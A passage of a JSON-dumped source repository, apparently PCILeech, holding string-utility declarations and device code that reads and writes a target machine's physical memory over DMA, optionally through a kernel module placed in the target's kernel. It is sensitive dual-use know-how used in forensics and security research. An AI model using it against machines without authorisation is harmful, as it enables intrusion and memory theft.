    "content": "// charutil.h : definitions of various character/string utility functions.\n//\n// (c) Ulf Frisk, 2021-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __CHARUTIL_H__\n#define __CHARUTIL_H__\n\n#ifdef _WIN32\n#include <Windows.h>\ntypedef unsigned __int64                QWORD, *PQWORD;\n#else\n#include \"oscompatibility.h\"\n#endif /* _WIN32 */\n\n#define CHARUTIL_FLAG_NONE                      0x0000\n#define CHARUTIL_FLAG_ALLOC                     0x0001\n#define CHARUTIL_FLAG_TRUNCATE                  0x0002\n#define CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR   0x0006\n#define CHARUTIL_FLAG_STR_BUFONLY               0x0008\n#define CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL       0x0010\n\n/*\n* Check whether a string is an ansi-string (only codepoints between 0-127).\n* -- sz\n* -- return\n*/\nBOOL CharUtil_IsAnsiA(_In_ LPCSTR sz);\nBOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz);\nBOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz);\n\n/*\n* Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string.\n* NB! wsz must NOT equal or overlap pbBuffer!\n* CALLER LOCALFREE (if *pusz != pbBuffer): *pusz\n* -- sz/wsz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pusz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pusz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbu = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoU(\n    _In_opt_ LPCSTR usz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pusz,\n    _Out_opt_ PDWORD pcbu,\n    _In_ DWORD flags\n);\n\n_Success_(return)\nBOOL CharUtil_AtoU(\n    _In_opt_ LPCSTR sz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pusz,\n    _Out_opt_ PDWORD pcbu,\n    _In_ DWORD flags\n);\n\n_Success_(return)\nBOOL CharUtil_WtoU(\n    _In_opt_ LPCWSTR wsz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pusz,\n    _Out_opt_ PDWORD pcbu,\n    _In_ DWORD flags\n);\n\n/*\n* Convert UTF-8 string into a Windows Wide-Char string.\n* Function support usz == pbBuffer - usz will then become overwritten.\n* CALLER LOCALFREE (if *pusz != pbBuffer): *pusz\n* -- usz/wsz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pwsz = if set to null: function calculate length only and return TRUE.\n            result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbw = byte length (including terminating null) of wide-char string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoW(\n    _In_opt_ LPCSTR usz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPWSTR *pwsz,\n    _Out_opt_ PDWORD pcbw,\n    _In_ DWORD flags\n);\n\n_Success_(return)\nBOOL CharUtil_WtoW(\n    _In_opt_ LPCWSTR wsz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPWSTR *pwsz,\n    _Out_opt_ PDWORD pcbw,\n    _In_ DWORD flags\n);\n\n/*\n* Convert UTF-8, Ascii (0-255) or Wide (16-bit LE) string into a JSON string.\n* Function support sz/usz/wsz == pbBuffer - sz/usz/wsz will then become overwritten.\n* CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz\n* -- sz/usz/wsz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pjsz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbj = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoJ(\n    _In_opt_ LPCSTR usz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pjsz,\n    _Out_opt_ PDWORD pcbj,\n    _In_ DWORD flags\n);\n\n_Success_(return)\nBOOL CharUtil_AtoJ(\n    _In_opt_ LPCSTR sz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pjsz,\n    _Out_opt_ PDWORD pcbj,\n    _In_ DWORD flags\n);\n\n_Success_(return)\nBOOL CharUtil_WtoJ(\n    _In_opt_ LPCWSTR wsz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pjsz,\n    _Out_opt_ PDWORD pcbj,\n    _In_ DWORD flags\n);\n\n/*\n* Convert UTF-8 string into a CSV compatible string.\n* If source string contain either comma(,) space( ) doublequote(\") it will be\n* treated as a CSV string and be put into double quotes at start/end.\n* Function support usz == pbBuffer - usz will then become overwritten.\n* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz\n* -- usz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pvsz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbv = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoCSV(\n    _In_opt_ LPCSTR usz,\n    _In_ DWORD cch,\n    _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ DWORD cbBuffer,\n    _Out_opt_ LPSTR *pvsz,\n    _Out_opt_ PDWORD pcbv,\n    _In_ DWORD flags);\n\n/*\n* Hash a string quickly using the ROT13 algorithm either to a 64-bit or 32-bit number.\n* -- sz/usz/wsz = the string to hash\n* -- fUpper\n* -- return\n*/\nDWORD CharUtil_Hash32U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper);\nDWORD CharUtil_Hash32A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper);\nDWORD CharUtil_Hash32W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper);\nQWORD CharUtil_Hash64U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper);\nQWORD CharUtil_Hash64A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper);\nQWORD CharUtil_Hash64W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper);\n\n/*\n* Hash a name string in a way that is supported by the file system.\n* NB! this is not the same hash as the Windows registry uses.\n* -- usz/sz/wsz\n* -- iSuffix\n* -- return\n*/\nDWORD CharUtil_HashNameFsU(_In_ LPCSTR usz, _In_opt_ DWORD iSuffix);\nDWORD CharUtil_HashNameFsA(_In_ LPCSTR sz, _In_opt_ DWORD iSuffix);\nDWORD CharUtil_HashNameFsW(_In_ LPCWSTR wsz, _In_opt_ DWORD iSuffix);\n\n/*\n* Hash a path string in a way that is supported by the file system.\n* NB! this is not the same hash as the Windows registry uses.\n* -- usz/sz/wsz\n* -- iSuffix\n* -- return\n*/\nQWORD CharUtil_HashPathFsU(_In_ LPCSTR usz);\nQWORD CharUtil_HashPathFsA(_In_ LPCSTR sz);\nQWORD CharUtil_HashPathFsW(_In_ LPCWSTR wsz);\n\n/*\n* Convert a string into a file name compatible string by replacing illegal\n* characters with '_'. Also optionally add a suffix between 1-9 and fix\n* upper-case letters. If insufficient space the result will be truncated.\n* -- uszDst\n* -- cbuDst\n* -- uszSrc\n* -- iSuffix\n* -- fUpper\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_FixFsNameU(\n    _Out_writes_(cbuDst) LPSTR uszDst,\n    _In_ DWORD cbuDst,\n    _In_ LPCSTR uszSrc,\n    _In_opt_ DWORD iSuffix,\n    _In_ BOOL fUpper\n);\n\n/*\n* Convert a string into a file name compatible string by replacing illegal\n* characters with '_'. Also optionally add a suffix between 1-9 and fix\n* upper-case letters. One of [usz, sz, wsz] must be valid.\n* -- uszOut\n* -- cbuDst\n* -- usz\n* -- sz\n* -- wsz\n* -- cwsz\n* -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE\n* -- iSuffix\n* -- fUpper\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_FixFsName(\n    _Out_writes_(cbuDst) LPSTR uszOut,\n    _In_ DWORD cbuDst,\n    _In_opt_ LPCSTR usz,\n    _In_opt_ LPCSTR sz,\n    _In_opt_ LPCWSTR wsz,\n    _In_ DWORD cch,\n    _In_opt_ DWORD iSuffix,\n    _In_ BOOL fUpper\n);\n\n/*\n* Replace illegal characters in a text with a character of the users choosing.\n* The result is returned as a utf-8 string.\n* -- uszOut\n* -- cbuDst\n* -- usz\n* -- sz\n* -- wsz\n* -- cwsz\n* -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE\n* -- chReplace = character to replace illegal characters with.\n* -- chAllowArray = array of 0(illegal char) or 1(allowed char) for each character in the 0-127 range.\n* -- return = number of bytes written (including terminating NULL).\n*/\n_Success_(return != 0)\nDWORD CharUtil_ReplaceMultiple(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_ CHAR chAllowArray[128], _In_ CHAR chNew);\n\n/*\n* Replace all characters in a string.\n* -- sz\n* -- chOld\n* -- chNew\n*/\nVOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew);\n\n/*\n* Split a string into two at the first character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- ch = character to split at.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_SplitFirst(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1);\n\n/*\n* Split a string into two at the last character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- ch = character to split at.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_SplitLast(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1);\n\n/*\n* Split a string into a list of strings at the delimiter characters.\n* The function allocates neccessary memory for the result array and its values.\n* CALLER LocalFree: *ppuszArray\n* -- usz = utf-8/ascii string to split.\n* -- chDelimiter = character to split at.\n* -- pcArray = pointer to receive number of strings in result array.\n* -- ppuszArray = pointer to receive result array.\n* -- return = remainder of split string.\n*/\n_Success_(return)\nBOOL CharUtil_SplitList(_Inout_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray);\n\n/*\n* Split a \"path\" string into two at the first slash/backslash character.\n* The 1st string is returned in the pusz1 caller-allocated buffer. The\n* remainder is returned as return data (is a sub-string of usz). If no\n* 2nd string is found null-terminator character is returned (NB! not as NULL).\n* -- usz = utf-8/ascii string to split.\n* -- usz1 = buffer to receive result.\n* -- cbu1 = byte length of usz1 buffer\n* -- return = remainder of split string.\n*/\nLPCSTR CharUtil_PathSplitFirst(_In_ LPCSTR usz, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1);\n\n/*\n* Return the sub-string after the first (back)slash character in usz.\n* If no (back)slash is found original string is returned. The returned data\n* must not be free'd and is only valid as long as the usz parameter is valid.\n* -- usz = utf-8 or ascii string.\n* -- return\n*/\nLPCSTR CharUtil_PathSplitNext(_In_ LPCSTR usz);\n\n/*\n* Return the sub-string after the last (back)slash character in usz.\n* If no (back)slash is found original string is returned. The returned data\n* must not be free'd and is only valid as long as the usz parameter is valid.\n* -- usz = utf-8 or ascii string.\n* -- return\n*/\nLPCSTR CharUtil_PathSplitLast(_In_ LPCSTR usz);\n\n/*\n* Split the string usz into two at the last (back)slash which is removed.\n* If no slash is found, the input string is not modified and NULL is returned.\n* NB! The input string is modified in place.\n* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA\n* -- usz = utf-8 or ascii string to be split/modified.\n* -- return = last part (i.e. file name) of usz.\n*/\nLPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz);\n\n/*\n* Split the string usz into two at the last (back)slash which is removed.\n* Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA\n* -- usz = utf-8 or ascii string.\n* -- uszPath = buffer to receive result.\n* -- cbuPath = byte length of uszPath buffer\n* -- return = last part (i.e. file name) of usz.\n*/\nLPSTR CharUtil_PathSplitLastEx(_In_ LPCSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath);\n\n/*\n* Common typedef for a CharUtil_Str* comparison function.\n*/\ntypedef BOOL(*CHARUTIL_STRCMP_PFN)(_In_opt_ LPCSTR usz1, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive);\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If at least one comparison is TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* --\n* ...\n* -- return\n*/\nBOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...);\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If at least one comparison is TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* -- pStr\n* -- return\n*/\nBOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPCSTR *pStr);\n\n/*\n* Compare multiple strings with a CharUtil_Str* compare function.\n* If all comparisons are TRUE return TRUE - otherwise FALSE.\n* -- pfnStrCmp\n* -- usz1\n* -- fCaseInsensitive\n* -- cStr\n* --\n* ...\n* -- return\n*/\nBOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...);\n\n/*\n* Checks if a string ends with a certain substring.\n* -- usz\n* -- uszEndsWith\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrEndsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszEndsWith, _In_ BOOL fCaseInsensitive);\n\n/*\n* Checks if a string starts with a certain substring.\n* -- usz\n* -- uszStartsWith\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrStartsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszStartsWith, _In_ BOOL fCaseInsensitive);\n\n/*\n* Checks if a string equals another string.\n* -- usz1\n* -- usz2\n* -- fCaseInsensitive\n* -- return\n*/\nBOOL CharUtil_StrEquals(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive);\n\n/*\n* Checks if a string contains a certain substring, if found return the pointer\n* to the 1st start of the substring in the original string.\n* -- usz\n* -- uszNeedle\n* -- fCaseInsensitive\n* -- return = pointer to the start of the substring in usz, or NULL if not found.\n*/\nLPCSTR CharUtil_StrContains(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszSubString, _In_ BOOL fCaseInsensitive);\n\n/*\n* Compare a wide-char string to a utf-8 string.\n* NB! only the first 2*MAX_PATH characters are compared.\n* -- wsz1\n* -- usz2\n* -- return = 0 if equals, -1/1 otherwise.\n*/\nint CharUtil_CmpWU(_In_opt_ LPWSTR wsz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive);\n\n/*\n* Compare two wide-char strings.\n* NB! only the first 2*MAX_PATH characters are compared.\n* -- wsz1\n* -- wsz2\n* -- return = 0 if equals, -1/1 otherwise.\n*/\nint CharUtil_CmpWW(_In_opt_ LPCWSTR wsz1, _In_opt_ LPCWSTR wsz2, _In_ BOOL fCaseInsensitive);\n\n#endif /* __CHARUTIL_H__ */\n"
  },
  {
    "path": "pcileech/device.c",
    "content": "// device.c : implementation related to hardware devices.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <leechcore.h>\n#include \"device.h\"\n#include \"kmd.h\"\n#include \"statistics.h\"\n#include \"vmmx.h\"\n\n_Success_(return)\nBOOL DeviceReadDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb)\n{\n    return LcRead(hLC, pa, cb, pb) || LcRead(hLC, pa, cb, pb);\n}\n\n_Success_(return)\nBOOL DeviceWriteDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb)\n{\n    return LcWrite(hLC, pa, cb, pb) || LcWrite(hLC, pa, cb, pb);\n}\n\n_Success_(return)\nBOOL DeviceWriteDMA_Verify(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb)\n{\n    PBYTE pbBuffer = NULL;\n    BOOL fResult =\n        DeviceWriteDMA_Retry(hLC, pa, cb, pb) &&\n        (pbBuffer = LocalAlloc(0, cb)) &&\n        DeviceReadDMA_Retry(hLC, pa, cb, pbBuffer) &&\n        (0 == memcmp(pb, pbBuffer, cb));\n    LocalFree(pbBuffer);\n    return fResult;\n}\n\nDWORD DeviceReadDMA(_In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _Inout_opt_ PPAGE_STATISTICS pPageStat)\n{\n    PMEM_SCATTER pMEM, *ppMEMs = NULL;\n    DWORD i, cMEMs, cbRead = 0;\n    cMEMs = cb >> 12;\n    if((pa & 0xfff) || !cb || (cb & 0xfff)) { return 0; }\n    if(!LcAllocScatter2(cb, pb, cMEMs, &ppMEMs)) { return 0; }\n    for(i = 0; i < cMEMs; i++) {\n        ppMEMs[i]->qwA = pa + ((QWORD)i << 12);\n    }\n    LcReadScatter(ctxMain->hLC, cMEMs, ppMEMs);\n    for(i = 0; i < cMEMs; i++) {\n        pMEM = ppMEMs[i];\n        if(pMEM->f) {\n            cbRead += pMEM->cb;\n        } else {\n            ZeroMemory(pMEM->pb, pMEM->cb);\n        }\n        if(pPageStat) {\n            PageStatUpdate(pPageStat, ppMEMs[i]->qwA + 0x1000, pMEM->f ? 1 : 0, pMEM->f ? 0 : 1);\n        }\n    }\n    LcMemFree(ppMEMs);\n    return cbRead;\n}\n\n/*\n* Set a custom user-defined or auto-generated memory map either from:\n* - command line argument\n* - file: a user defined memory map text file.\n* - auto: auto generated memory map retrieved using MemProcFS when target OS\n*         is Windows and when PCILeech is running on Windows OS.\n* -- return\n*/\n_Success_(return)\nBOOL DeviceOpen2_SetCustomMemMap()\n{\n    BOOL fResult = FALSE;\n    FILE *hFile = NULL;\n    DWORD cb;\n    PBYTE pb = NULL, pbResult = NULL;\n    if(0 == _stricmp(\"none\", ctxMain->cfg.szMemMap)) {\n        return TRUE;\n    }\n    if(!(pb = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { goto fail; }\n    if(0 == _stricmp(\"auto\", ctxMain->cfg.szMemMap)) {\n        if(!Vmmx_Initialize(FALSE, TRUE)) { goto fail; }\n    } else {\n        if(fopen_s(&hFile, ctxMain->cfg.szMemMap, \"rb\") || !hFile) { goto fail; }\n        cb = (DWORD)fread(pb, 1, 0x01000000, hFile);\n        if((cb == 0) || (cb > 0x01000000)) { goto fail; }\n        if(!LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_SET, cb, pb, NULL, NULL)) { goto fail; }\n    }\n    fResult =\n        LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_GET, 0, NULL, &pbResult, NULL) &&\n        LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->dev.paMax);\n    if(fResult && ctxMain->cfg.fVerbose) {\n        printf(\"TARGET SYSTEM MEMORY MAP:\\n\");\n        printf(\"   #       RANGE_BASE          RANGE_TOP         RANGE_REMAP\\n\");\n        printf(\"============================================================\\n\");\n        printf(\"%s\\n\", (LPSTR)pbResult);\n    }\nfail:\n    LocalFree(pb);\n    LcMemFree(pbResult);\n    Vmmx_Close();\n    if(hFile) { fclose(hFile); }\n    return fResult;\n}\n\n#ifdef _WIN32\n_Success_(return)\nBOOL DeviceOpen2_RequestUserInput()\n{\n    BOOL fResult;\n    LPSTR szProto;\n    DWORD i, cbRead = 0;\n    CHAR szInput[33] = { 0 };\n    CHAR szDevice[MAX_PATH] = { 0 };\n    HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);     // must not be closed.\n    // 1: read input\n    printf(\"\\n?> \");\n    fResult = ReadConsoleA(hStdIn, szInput, 32, &cbRead, NULL);\n    for(i = 0; i < _countof(szInput); i++) {\n        if((szInput[i] == '\\r') || (szInput[i] == '\\n')) { szInput[i] = 0; }\n    }\n    cbRead = (DWORD)strlen(szInput);\n    if(!cbRead) { return FALSE; }\n    // 2: clear \"userinput\" option and update \"device\" option\n    ctxMain->cfg.fUserInteract = FALSE;\n    szProto = strstr(ctxMain->cfg.szDevice, \"://\");\n    snprintf(\n        szDevice,\n        MAX_PATH - 1,\n        \"%s%s%sid=%s\",\n        ctxMain->cfg.szDevice,\n        szProto ? \"\" : \"://\",\n        szProto && szProto[3] ? \",\" : \"\",\n        szInput);\n    memcpy(ctxMain->cfg.szDevice, szDevice, MAX_PATH);\n    // 3: try re-initialize with new user input\n    return DeviceOpen();\n}\n#else /* _WIN32 */\n_Success_(return)\nBOOL DeviceOpen2_RequestUserInput()\n{\n    return FALSE;\n}\n#endif /* _WIN32 */\n\n_Success_(return)\nBOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent)\n{\n    BOOL f;\n    PLC_CONFIG_ERRORINFO pLcErrorInfo = NULL;\n    ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev));\n    ctxMain->dev.dwVersion = LC_CONFIG_VERSION;\n    if(!fFailSilent) {\n        // do not initially enable leechcore error messages / printouts if set to fail silent\n        ctxMain->dev.dwPrintfVerbosity =\n            LC_CONFIG_PRINTF_ENABLED |\n            (ctxMain->cfg.fVerbose ? LC_CONFIG_PRINTF_V : 0) |\n            (ctxMain->cfg.fVerboseExtra ? LC_CONFIG_PRINTF_VV : 0);\n    }\n    strcpy_s(ctxMain->dev.szDevice, MAX_PATH, szDevice);\n    strcpy_s(ctxMain->dev.szRemote, MAX_PATH, ctxMain->cfg.szRemote);\n    ctxMain->dev.paMax = ctxMain->cfg.paAddrMax;\n    ctxMain->hLC = LcCreateEx(&ctxMain->dev, &pLcErrorInfo);\n    if(!ctxMain->hLC) {\n#ifdef _WIN32\n        if(pLcErrorInfo && (pLcErrorInfo->dwVersion == LC_CONFIG_ERRORINFO_VERSION)) {\n            if(pLcErrorInfo->cwszUserText) {\n                wprintf(L\"MESSAGE FROM MEMORY ACQUISITION DEVICE:\\n=======================================\\n%s\\n\", pLcErrorInfo->wszUserText);\n            }\n            if(ctxMain->cfg.fUserInteract && pLcErrorInfo->fUserInputRequest) {\n                LcMemFree(pLcErrorInfo);\n                return DeviceOpen2_RequestUserInput();\n            }\n        }\n#endif /* _WIN32 */\n        ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev));\n        LcMemFree(pLcErrorInfo);\n        return FALSE;\n    }\n    // enable standard verbosity levels upon success (if not already set)\n    if(fFailSilent) {\n        LcSetOption(ctxMain->hLC, LC_OPT_CORE_PRINTF_ENABLE, 1);\n        LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE, (ctxMain->cfg.fVerbose ? 1 : 0));\n        LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE_EXTRA, (ctxMain->cfg.fVerboseExtra ? 1 : 0));\n    }\n    if(ctxMain->cfg.fVerboseExtraTlp) {\n        LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE_EXTRA_TLP, 1);\n    }\n    // enable custom memory map (if option is set)\n    if(ctxMain->cfg.szMemMap[0]) {\n        if(!DeviceOpen2_SetCustomMemMap()) {\n            printf(\"PCILEECH: Invalid memory map: '%s'.\\n\", ctxMain->cfg.szMemMap);\n            return FALSE;\n        }\n    }\n    if(ctxMain->cfg.szMemMapStr[0]) {\n        f = LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_SET, (DWORD)strlen(ctxMain->cfg.szMemMapStr), ctxMain->cfg.szMemMapStr, NULL, NULL) &&\n            LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->dev.paMax);\n        if(!f) {\n            printf(\"PCILEECH: Invalid memory map given on command line option.\\n\");\n            return FALSE;\n        }\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL DeviceOpen()\n{\n    if(0 == ctxMain->cfg.szDevice[0]) {\n        if(DeviceOpen2(\"FPGA\", TRUE) || DeviceOpen2(\"USB3380\", TRUE)) {\n            strcpy_s(ctxMain->cfg.szDevice, MAX_PATH, ctxMain->dev.szDevice);\n            return TRUE;\n        }\n        return FALSE;\n    }\n    return DeviceOpen2(ctxMain->cfg.szDevice, FALSE);\n}\n\n_Success_(return)\nBOOL DeviceWriteMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _In_reads_(cb) PBYTE pb, _In_ BOOL fRetryOnFail)\n{\n    if(ctxMain->phKMD && !ctxMain->cfg.fNoKmdMem) {\n        return KMDWriteMemory(qwAddr, pb, cb);\n    }\n    return LcWrite(ctxMain->hLC, qwAddr, cb, pb) || (fRetryOnFail && LcWrite(ctxMain->hLC, qwAddr, cb, pb));\n}\n\n_Success_(return)\nBOOL DeviceReadMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _In_ BOOL fRetryOnFail)\n{\n    if(ctxMain->phKMD && !ctxMain->cfg.fNoKmdMem) {\n        return KMDReadMemory(qwAddr, pb, cb);\n    }\n    return LcRead(ctxMain->hLC, qwAddr, cb, pb) || (fRetryOnFail && LcRead(ctxMain->hLC, qwAddr, cb, pb));\n}\n"
  },
  {
    "path": "pcileech/device.h",
    "content": "// device.h : definitions related to the hardware devices.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __DEVICE_H__\n#define __DEVICE_H__\n#include \"pcileech.h\"\n#include \"oscompatibility.h\"\n#include \"statistics.h\"\n\n/*\n* Open a connection to the target device.\n* -- result\n*/\n_Success_(return)\nBOOL DeviceOpen();\n\n/*\n* Try read memory with DMA in a fairly optimal way considering device limits.\n* The number of total successfully read bytes is returned. Failed reads will\n* be zeroed out the he returned memory.\n* -- pa\n* -- cb\n* -- pb\n* -- pPageStat = optional page statistics\n* -- return = the number of bytes successfully read.\n*\n*/\nDWORD DeviceReadDMA(_In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _Inout_opt_ PPAGE_STATISTICS pPageStat);\n\n/*\n* Write target physical memory. If an KMD is inserted in the target kernel the\n* KMD will be used to write the memory, otherwise the memory will be written\n* with standard DMA. Minimum granularity: byte.\n* -- qwAddr = the physical address to write to in the target system.\n* -- cb = number of bytes to write.\n* -- pb = bytes to write\n* -- fRetryOnFail\n* -- return\n*/\n_Success_(return)\nBOOL 